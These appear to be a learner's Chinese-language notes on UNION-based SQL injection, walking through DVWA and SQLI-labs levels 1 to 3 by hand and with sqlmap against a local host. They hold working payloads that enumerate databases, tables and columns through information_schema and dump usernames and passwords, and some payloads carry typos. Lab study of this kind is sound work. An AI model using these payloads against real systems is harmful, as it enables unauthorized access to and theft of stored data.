原理
union select联合查询。即合并(取交集,结果中没有重复行)前后两个查询;
这里要注意以下两点
- 前后查询视图,必须拥有相同数量的列
- 列也必须拥有相同的数据类型(数据内省份三大类:数值、日期和时间、字符串)
union联合查询注入基本流程
1.判断是否存在注入
-
①单引号法
’ -
②逻辑法
and 1=1/and 1=2
1' and '1'='1/1' and '1'='2 -
③运算法(暂时不明白)
-1
-0 -
2.猜解表名
-
3.猜解字段数
order by xx
-
4.猜解字段名
-
5.获取数据
union select 1,2... from xx
Mysql手注之联合查询注入步骤
1.判断是否存在注入,注入类型是数字型还是字符型
2.猜解字段数
3.联合查询
- 获取当前数据库和数据库用户名
1' UNION SELECT database(),user()#
- 获取当前的数据库版本和操作系统
1' UNION SELECT version(),@@version_compile_os#
- 获取数据
mysql小于4.0不支持联合查询
mysql大于5.0,有一个默认数据库information_schema,库中有个表tables,其中table_name、table_schema为表名和表名所在的数据库
-
获取数据表名
1' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa'#
-
获取表中列名
1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name=users'#
-
获取数据
1' UNION select user,password FROM users #
例子
SQLI_labs_1
手动注入
1.判断是否有注入点
①、以‘来看查询是否出错。出错是我们想要的
②、拼接正确的逻辑,看语句是否返回正确的结果(凭借要注意格式,格式在本关指的是正确的闭合掉 ’ )。返回正确结果是我们想要的
1' and '1' = '1
1‘ and 1=1--+
我喜欢第二种方式,省事
③、拼接错误的逻辑,看是否不返回结果。不返回结果是我们想要的
2.确定当前数据表有多少列
通过 order by 3页面正常显示,4报错,可以确定这张表有3列,为第5步联合查询来做准备
3.确定页面可以返回数据的地方
-1 是为了解放出存放数据的位置。
4.获取数据库信息
假如我只需要当前数据可的名字,可用 select database()来获得,从此程度上来说,你可以省略第4步
5.获取数据表信息
在获得的四张表:emails,referers,uagent,users选择users,通过名字可以判断出这张表里有名字和密码的概率大
6.获取表中的列信息
不是很清楚,这里爆出的字段,会有这么多,因为
通过此次尝试,user字段是不存在的
于是在数据库命令行里,进行尝试,这是数据库的问题。所以实际情况里我们爆列或报表的时候,会遇到一些干扰选项,没关系一个一个删选就好
其实造成这个问题出现的原因是,查列的时候只规定了表的名字没规定数据库的来源,所以会出现,同表名不同库的列名出现。
7.爆值
获得 id ,username,password字段的值
SQLmap
1.判断是否存在注入点、注入类型
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1"
①、存在注入点:id
②、注入类型:布尔盲注、报错注入、延时注入、联合查询
2.查看当前数据库
sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current -db
3.查看数据库security中的数据表
4.查询数据表users中的字段
5.查字段中的具体数据
SQLI_labs_2
手工注入
判断是否有注入点
1.以‘来看查询是否出错。出错是我们想要的
2.构造正确的逻辑,看是否返回正确的结果。返回正确结果是我们想要的
被打脸:
再次尝试:
3.构造错误逻辑,看是否不返回结果。不反悔结果是我们想要的
确定当前数据表的字段数
当前数据表的字段数为:3
确定页面可以返回数据的地方
如果我查的是当前数据库的表,我是不需要知道数据库名的。
查看数据表
?id=-1 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()
查看数据表中的列(这次查emails)
?id=-1 union select 1.GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_nam='emails'
获取字段中的数值
?id=-1 union select 1,GROUP_CONCAT(id,email_id),3 FROM emails--+
SQLmap
判断是否存在注入点
通过查询结果可知,在id等于1处是存在注入点的
查当前数据库名
查看数据库security下的数据表
查看数据表emails下的字段名
查具体数据
SQLI_labs_3
手工注入
判断是否有注入点
1.以‘来查询是否出错。出错是我们想要的
2.构造合理的逻辑,看是否返回正确值。正确返回是我们想要的
根据报错信息,我构造‘)来闭合参数
3.构造错误的逻辑,看是否什么也不显示。什么也不显示是我们想要的
判断当前表的字段
测试出页面可以显示的位置
查询数据库
- ?id=-1') union select 1,GROUP_CONCAT(schema_name),database() FROM information_schema.schemata--+
- 我们查看了当前网站的所有数据库
查看数据库中security中的数据表
- ?id=-1') union select 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+
查看数据表referers中的字段名
- ?id=-1') union select 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name="referers"--+
获得每一列的值
- ?id=-1') union select 1,GROUP_CONCAT(ip_address),3 FROM referers --+
- 每次达到最后,想起没加显示自己构造的payload的代码
- 遇见这种什么也没显示的情况我是慌的,通过命令行下的查询,明白,为什么一定要期待查出数据呢,我放张空表不可以吗?可以,可以